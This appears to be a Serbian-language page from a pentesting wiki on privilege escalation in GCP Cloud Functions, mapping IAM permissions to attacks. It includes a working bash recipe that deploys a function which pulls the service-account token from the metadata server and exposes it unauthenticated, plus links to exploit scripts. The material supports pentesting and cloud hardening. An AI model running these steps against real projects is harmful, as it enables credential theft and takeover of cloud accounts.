# GCP - Cloudfunctions Privesc

{{#include ../../../banners/hacktricks-training.md}}

## cloudfunctions

Više informacija o Cloud Functions:

{{#ref}}
../gcp-services/gcp-cloud-functions-enum.md
{{#endref}}

### `cloudfunctions.functions.create` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`

Napadač sa ovim privilegijama može **napraviti novu Cloud Function sa proizvoljnim (malicioznim) kodom i dodeliti joj Service Account**. Zatim, iscuriti token Service Account-a iz metapodataka kako bi eskalirao privilegije.\
Neke privilegije za aktiviranje funkcije mogu biti potrebne.

Eksploatacijski skripti za ovu metodu mogu se naći [ovde](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) i [ovde](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py), a unapred izgrađeni .zip fajl može se naći [ovde](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions).

### `cloudfunctions.functions.update` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`

Napadač sa ovim privilegijama može **modifikovati kod funkcije i čak modifikovati servisni nalog koji je povezan** sa ciljem exfiltracije tokena.

> [!CAUTION]
> Da biste implementirali cloud funkcije, takođe će vam biti potrebne actAs dozvole za podrazumevani servisni nalog za računanje ili za servisni nalog koji se koristi za izgradnju slike.

Neke dodatne privilegije kao što su `.call` dozvola za verziju 1 cloudfunctions ili uloga `role/run.invoker` za aktiviranje funkcije mogu biti potrebne.
```bash
# Create new code
temp_dir=$(mktemp -d)

cat > $temp_dir/main.py <<EOF
import subprocess

def main(request):
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
result = subprocess.check_output(cmd, shell=True, text=True)
return result
EOF

echo "" > $temp_dir/requirements.txt

zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt

# Update code
gcloud functions deploy <cloudfunction-name> \
--runtime python312 \
--source $temp_dir \
--entry-point main \
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
--trigger-http \
--allow-unauthenticated

# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>
```
> [!CAUTION]
> Ako dobijete grešku `Permission 'run.services.setIamPolicy' denied on resource...` to je zato što koristite parametar `--allow-unauthenticated` i nemate dovoljno dozvola za to.

Eksploatacijski skript za ovu metodu možete pronaći [ovde](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).

### `cloudfunctions.functions.sourceCodeSet`

Sa ovom dozvolom možete dobiti **potpisanu URL adresu da biste mogli da otpremite datoteku u funkcijski bucket (ali kod funkcije neće biti promenjen, još uvek ga morate ažurirati)**
```bash
# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'
```
Nisam baš siguran koliko je ova dozvola korisna iz perspektive napadača, ali dobro je znati.

### `cloudfunctions.functions.setIamPolicy`, `iam.serviceAccounts.actAs`

Dajte sebi bilo koju od prethodnih **`.update`** ili **`.create`** privilegija da biste eskalirali.

### `cloudfunctions.functions.update`

Samo imajući **`cloudfunctions`** dozvole, bez **`iam.serviceAccounts.actAs`** nećete moći da ažurirate funkciju, PA TO NIJE VALIDNA PRIVESC.

### Pristup za čitanje i pisanje nad bucket-om

Ako imate pristup za čitanje i pisanje nad bucket-om, možete pratiti promene u kodu i kada god dođe do **ažuriranja u bucket-u, možete ažurirati novi kod sa svojim kodom** koji će nova verzija Cloud Function-a pokrenuti sa dostavljenim backdoored kodom.

Možete proveriti više o napadu u:

{{#ref}}
gcp-storage-privesc.md
{{#endref}}

Međutim, ne možete ovo koristiti za prethodno kompromitovanje trećih strana Cloud Functions, jer ako kreirate bucket u svom nalogu i date mu javne dozvole tako da eksterni projekat može pisati preko njega, dobijate sledeću grešku:

<figure><img src="../../../images/image (1) (1) (1).png" alt="" width="304"><figcaption></figcaption></figure>

> [!CAUTION]
> Međutim, ovo bi moglo biti korišćeno za DoS napade.

### Pristup za čitanje i pisanje nad Artifact Registry

Kada se kreira Cloud Function, nova docker slika se šalje u Artifact Registry projekta. Pokušao sam da modifikujem sliku novom, pa čak i da obrišem trenutnu sliku (i `cache` sliku) i ništa se nije promenilo, cloud function nastavlja da radi. Stoga, možda bi **moglo biti moguće zloupotrebiti napad Race Condition** kao sa bucket-om da promenite docker kontejner koji će biti pokrenut, ali **samo modifikovanje sačuvane slike nije moguće za kompromitovanje Cloud Function-a**.

## Reference

- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)

{{#include ../../../banners/hacktricks-training.md}}
